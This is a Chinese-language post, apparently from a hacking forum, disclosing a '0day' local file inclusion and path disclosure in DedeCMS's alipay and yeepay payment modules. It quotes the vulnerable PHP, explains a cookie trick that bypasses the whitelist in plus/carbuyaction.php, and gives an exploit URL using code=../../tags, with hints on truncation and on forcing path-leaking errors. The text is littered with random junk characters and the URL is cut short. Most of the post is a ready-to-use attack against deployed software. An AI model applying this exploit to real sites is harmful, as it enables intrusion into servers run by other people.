dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

6 K5 T( U* n7 h+ a3 Y出现漏洞的两个文件为：
+ L) f  @0 t/ e, rInclude/payment/alipay.php
Include/payment/yeepay.php
9 G, K) }4 K% l- p# a$ M漏洞均出现在respond方法里，估计这两个文件是临时工写的。

, k* _0 D, j+ zInclude/payment/alipay.php
! s- z: E3 ^/ d# i
  ?; T8 }* F, N- x$ m......
   function respond()
    {
        if (!empty($_POST))
        {
  T1 |, ?  f2 k6 p+ |. A8 R            foreach($_POST as $key => $data)
            {
                $_GET[$key] = $data;
            }
        }
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
: z$ S$ P2 u9 L0 Q......
* I# e; f+ i$ v% @* u

大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
6 f  s4 X5 V3 M* a% T7 Z8 a8 i
Include/payment/yeepay.php


0 L+ w7 E5 g, V& w
0 ^1 }- C. p5 X; G......
    function respond()
    {

7 `$ J' I+ \7 ^+ J3 Z        /* 引入配置文件 */
9 {( m5 |" ]0 ?1 z1 V' V        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

8 p, n$ T, z1 u) U* T        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
5 |  S1 @. R1 E4 e$ x" T......


2 D3 `; _3 m1 n0 G% \

大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
! u$ D2 I7 a% Z/ o# r1 Y
  v. y0 q4 }, W这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php

......
, c: d; }2 a: D  C% @. y  P- B} else if ($dopost == 'return') {
4 I8 h! s4 X- p8 B0 x: c# Z/ q' y    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
8 P, a4 w, w3 x6 u9 k" v1 v% S    if (in_array($code, $write_list))
2 a1 E' D* Y, i. E/ e# ^    {
) P' L+ R( w- ?4 J9 j, Z: _        require_once DEDEINC.'/payment/'.$code.'.php';
0 l& e2 _8 |  |0 E3 o: Y        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
3 {4 {6 T. r5 ?. V! x8 f        exit();  
" L$ M7 Z/ n% ]2 D# \- i+ s    } else {
        exit('Error:File Type Can\'t Recognized!');
    }
) e' L4 }, r2 a  S+ y- |}
! }. Y; e9 `: _......
( y/ D: Y3 A+ U5 Z8 S$ M
7 l# v( R) x' ?) Z9 @, d




大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
4 s( a9 f, y( P7 N所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
4 ^1 F( j4 P$ U* @; _
回到include/common.inc.php来看看他的机制。
( L# j' M3 F" ?4 c2 H) u
4 A% w9 ~- H& u: t/ D

! e& B3 q( O. S3 |7 Z......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
( }: b5 Z% H- X5 I2 K8 ^0 Y{
        foreach($$_request as $_k => $_v)
        {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
        }
}
: M& N4 ~+ f6 g8 G. C2 D% P" Q......
% N5 J" @9 b' n0 Y大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
, l9 y& f- k9 q9 |0 t) x由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。